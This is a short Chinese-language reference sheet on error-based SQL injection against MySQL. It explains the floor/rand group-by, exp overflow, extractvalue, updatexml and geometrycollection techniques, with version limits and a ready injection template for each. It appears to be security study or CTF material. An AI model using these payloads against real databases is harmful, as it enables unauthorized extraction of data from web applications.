通过floor进行报错注入
约束条件:mysql版本5.x.x,且数据库数据>=3条
原理:floor(rand(0)*2)生成的序列为011011,再利用floor(rand(0)*2)x查询时计算一次,group by插入虚拟表时会再计算一次,在计算第三条数据时导致主键重复将数据报错带出。
注入语句:
(select 1 from (select count(*),concat((操作语句),floor(rand(0)*2))x from information_schema.tables group by x)a);
通过exp进行报错注入
约束条件:5.5<mysql版本<5.6
原理:函数执行成功返回值0,利用~取反得到最大的无符号BIGINT,再利用exp造成double overflow error报错注入出数据
and (exp(~(select * from (操作代码) a)))
通过extractvalue()进行报错注入
约束条件:输出字符长度限制为32个字符
原理:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
xpath路径语法错误,会导致报错,报错内容含有错误的路径内容
注入语句:
and extractvalue(null,concat(0x7e,(代码操作),0x7e))
通过updatexml进行报错注入
约束条件:输出字符长度限制为32个字符
原理:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
注入语句:
and updatexml(1,concat(0x7e,(代码操作),0x7e),3)
通过GeometryCollection()报错注入
约束条件:5.5<mysql版本<5.6
原理:MYSQL无法使用字符串画出图形
注入语句:
and geometrycollection((select * from(select * from (操作代码)a)b))